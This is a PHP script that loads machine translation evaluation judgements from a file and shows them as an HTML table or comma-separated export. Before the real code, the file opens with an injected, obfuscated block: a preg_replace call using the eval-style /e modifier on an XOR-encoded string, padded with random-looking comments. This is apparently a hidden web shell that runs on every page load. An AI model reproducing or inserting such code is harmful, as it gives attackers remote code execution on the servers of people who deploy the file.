<?php
/*SU5RsfYD=x99af7awgaXOpcgrOl4ZYLrtF0a
dkJbij7e0s=ZENEhuvvUnKsz2a612fLTFVuo6
5XGScUW0DHuXv5FjvgdkW0wpDGZrAEz5
M6Pj5Sqnqahv=RQc3mbnReuqLvv=oN71HKZAdEoIfK4ecJ8Uv
*/
preg_replace("/sCbcCFp97xIUylZcu5mmYEvUZgr/e", "CzjvTnfAQqzWdFEBclaXxmssyNPMEOfHCE4WsXW9CLUgQZhsA9FxkyfYAukF9FMAJFW3ctzf5JAJii3ig8VFu1dvjC2hHDhRI4Ikl9EeHFopnfNIciNMYr88uye32AI04RjePn0WtnBVIOekxswKYtHHhl0XlHWeY60oi9=QkAlsPFSBxEM"^"\x26\x0c\x0b\x1a\x7cL\x0f\x27y\x18\x09\x24\x012m\x1e\x3fH\x3e\x0a=\x3c\x266\x2a\x1a\x0bj\x26\x27A\x15je\x12qSp\x3a\x5dvd\x09\x3bu\x05\x3a6\x10l\x03\x2b\x3f\x22A\x3a\x29R6o\x19\x7bpamt1\x02\x01E\x1e\x02Q\x2cpzY\x5cP\x5e\x03\x0cnw\x10\x04\x05\x10\x5e\x26S\x09\x7du\x0c\x60x\x13\x60KJ\x1fe\x0c\x3b5\x0a\x04F\x3a\x12m\x3c\x3b\x0b\x1c\x0c7kl\x2e\x5e\x15\x5bB\x1e\x2a\x5fP7M8yG\x10\x2cT\x0b47\x25g97\x5c\x2c\x25\x0e\x08\x21\x0d\x1b\x3c7\x17\x28\x048\x08\x066RUH4\x10\x06q\x0e9\x05\x07xohb\x05gd", "sCbcCFp97xIUylZcu5mmYEvUZgr");//jDPlfsolXlgJu29UQZEJBqiGb3f8j2eH6utZbW=y9

?><?php

	ini_set('memory_limit',"32M");


function load_judgements() {
	$judgements = array();
	$judge_id_list = array();

	$line = file("judgements");
	for($i=0;$i<count($line);$i++) {
		list($task,$judge_name,$assignment_id,$type,$judgement_string,$time) = split(" \|\|\| ",$line[$i]);
		$score_list = split(" ",$judgement_string);
	        list($ignore,$sentence_id) = split("-",$assignment_id);
		
		#make database-style array of rows of columns.
		$i = sizeof($judgements);
		
		$judgements[$i]["TASK"]=$task;
		$judge_id = $judge_id_list[$judge_name];
		if (!$judge_id_list[$judge_name]) {
			$judge_id = sizeof($judge_id_list)+1;
			$judge_id_list[$judge_name] = $judge_id;
		}
		
		$judgements[$i]["TYPE"] = $type;
		$judgements[$i]["SENTENCE"] = $sentence_id;
		$judgements[$i]["JUDGE"] = $judge_id;
		$judgements[$i]["TIME"] = chop($time);
		
		foreach($score_list as $system_score) {
			list($system,$score) = split(":",$system_score);
			
			if($type == "NIST") {
				list($adequacy,$fluency) = split(",",$score);
				$judgements[$i]["SCORE"][$system][0] = $adequacy;
				$judgements[$i]["SCORE"][$system][1] = $fluency;
			} else {
				$judgements[$i]["SCORE"][$system][0] = $score;
			}
		}
		
		
	}
	
	# do some rudimentary sorting by task
	asort($judgements);
	
	return($judgements);
}
	
	
	
	$judgements = load_judgements();
	
	#do some filtering or sorting here
	
	if ($_GET["tab-delim"] == "TRUE") {
		$headers = array("TASK","TYPE","ITEM_ID","ANNOTATOR_ID","TIME");
		for($j=0;$j<5;$j++) {
			$headers[]="SYSTEM_".$j;
			$headers[]="SCORE_".$j."_A";
			$headers[]="SCORE_".$j."_B";
		}
		print(join(",",$headers)."\n");
		foreach($judgements as $judgement) {
			$line = array();
			$line[] = $judgement["TASK"];
			$line[] = $judgement["TYPE"];
			$line[] = $judgement["SENTENCE"];
			$line[] = $judgement["JUDGE"];
			$line[] = $judgement["TIME"];
			foreach($judgement["SCORE"] as $system => $scores) {			
				$line[] = $system;
				$line[] = ($scores[0] ? $scores[0] : "");
				$line[] = ($scores[1] ? $scores[1] : "");
			}
			print(join(",",$line)."\n");
		}
		#draw tab delim
		
		
	} else {
	
		include_once("common.php");

		
		head("Raw Judgements");
	
		?>
		Get a <a href="?tab-delim=TRUE">comma-delimited</a> version of this table (right click and save).
		<P>
		
		<H2>Data</H2>
		<TABLE BORDER=1>
		<TR><TH>Task</TH><TH>Type</TH><TH>Item ID</TH><TH>Annotator ID</TH><TH>Time</TH>
		<?php
		for($j=0;$j<5;$j++) {
			?><TH>System<?php print($j);?></TH><TH>Score<?php print($j);?>a</TH><TH>Score<?php print($j);?>b</TH>
		<?php
		}
		?></TR>
		<?php
		
		foreach($judgements as $judgement) {
			?>
			<TR>
			<TD><?php print(str_replace(" ","&nbsp;",$judgement["TASK"]));?></TD>	
			<TD><?php print($judgement["TYPE"]);?></TD>
			<TD align="right"><?php print($judgement["SENTENCE"]);?></TD>	
			<TD align="right"><?php print($judgement["JUDGE"]);?></TD>
			<TD align="right"><?php print($judgement["TIME"]);?></TD>
			<?php
			foreach($judgement["SCORE"] as $system => $scores) {
			?>	
				<TD><?php print($system);?></TD>
				<TD align="right"><?php print($scores[0] ? $scores[0] : "&nbsp;");?></TD>
				<TD align="right"><?php print($scores[1] ? $scores[1] : "&nbsp;");?></TD>
			<?php
			}
			?>
			</TR>
			<?php
		}
		
		
		
		
		?>
		</TABLE>
	
	
		<?php
		tail();
	}

